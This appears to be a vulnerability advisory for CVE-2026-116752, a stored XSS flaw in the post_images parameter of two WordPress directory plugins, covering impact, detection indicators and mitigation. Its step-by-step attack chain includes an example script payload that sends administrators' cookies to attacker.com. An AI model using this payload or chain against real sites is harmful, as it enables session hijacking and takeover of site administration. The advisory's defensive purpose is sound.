CVE-2026-116752: 
WordPress vulnerability analysis and mitigation

CVE-2026-116752 is a stored cross-site scripting (XSS) vulnerability affecting the WP Business Directory Plugin and Classified Listings Directory plugin for WordPress. The flaw exists in the post_images parameter due to insufficient input sanitization and output escaping, allowing authenticated users with subscriber-level access or above to inject malicious web scripts. These scripts execute in the context of administrators or editors when they open the pending listing's edit screen, enabling a privilege-escalation-capable stored XSS chain. The vulnerability is estimated to be of MEDIUM severity (Feedly, VulDB).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation / Cross-Site Scripting), stemming from insufficient sanitization of the post_images parameter and a lack of proper output escaping when rendering listing data. An authenticated attacker with at minimum subscriber-level privileges can submit a crafted listing containing a malicious script payload in the post_images field. When an administrator or editor subsequently opens the pending listing's edit screen in the WordPress backend, the stored payload executes in their browser session, potentially enabling privilege escalation or account takeover (Feedly, Radar Offseq).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of a privileged WordPress user (administrator or editor) who reviews a pending listing. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts), or further site compromise. The stored nature of the XSS means the payload persists and can affect multiple privileged users over time without repeated attacker interaction (Feedly, VulDB).

Exploitation requires only subscriber-level authentication on the target WordPress site, which is a low barrier in environments that allow open user registration. No public proof-of-concept code or evidence of in-the-wild exploitation has been reported at this time. No EPSS score or CISA KEV catalog entry is currently associated with this CVE (Feedly).

1. Reconnaissance: Identify WordPress sites running the WP Business Directory Plugin or Classified Listings Directory plugin with open user registration enabled.
2. Register an account: Create or use an existing subscriber-level (or higher) account on the target WordPress site.
3. Submit a malicious listing: Submit a new directory listing via the plugin's frontend form, injecting a crafted XSS payload into the post_images parameter (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Wait for admin review: The listing enters a pending state awaiting administrator or editor approval.
5. Payload execution: When the administrator or editor opens the pending listing's edit screen in the WordPress backend, the stored script executes in their browser session.
6. Privilege escalation: The attacker captures the admin's session cookie or uses the script to perform actions on their behalf, such as creating a new administrator account (Feedly, Radar Offseq).

• Logs: WordPress access logs showing POST requests to listing submission endpoints containing script tags or encoded JavaScript in the post_images parameter.
• Database: WordPress wp_posts or related plugin tables containing entries with <script>, javascript:, or event handler attributes (e.g., onerror=, onload=) in the post_images field.
• Network: Outbound requests from administrator browsers to unknown external domains shortly after accessing the pending listings edit screen in the WordPress admin panel.
• Process/Session: Unexpected new administrator accounts created in WordPress without corresponding legitimate registration activity.

Users should update the WP Business Directory Plugin and Classified Listings Directory plugin to the latest patched versions as soon as they are released by the respective vendors (wp-business_directory_project and radiustheme). As an interim workaround, administrators should disable open user registration to prevent untrusted users from submitting listings, and avoid reviewing pending listings until the plugins are patched. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide additional protection (Feedly).